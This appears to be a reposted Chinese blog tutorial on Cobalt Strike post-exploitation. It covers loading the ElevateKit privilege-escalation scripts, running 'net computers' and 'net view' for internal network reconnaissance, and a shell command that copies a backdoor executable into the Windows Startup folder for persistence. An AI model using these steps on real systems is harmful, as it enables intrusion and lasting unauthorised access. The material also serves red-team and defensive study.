Cobalt Strike后渗透(2)提权脚本安装和内网渗透

下载脚本:https://github.com/rsmudge/ElevateKit

查看提权脚本:

 现在提权的方法少得可怜,只有两种:

我们下面开始加载脚本

打开cs脚本管理:

加载脚本

加载后这么多了:

 内网探针:

net computers  //内网探针

net view  //探针内网网络架构

所以探针到的目标都会再targer 这里

右击即可对目标进行内网攻击:

把后门加到开机启动:

shell copy sysi.exe "%userprofile%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"

原文地址:https://www.cnblogs.com/trevain/p/14099318.html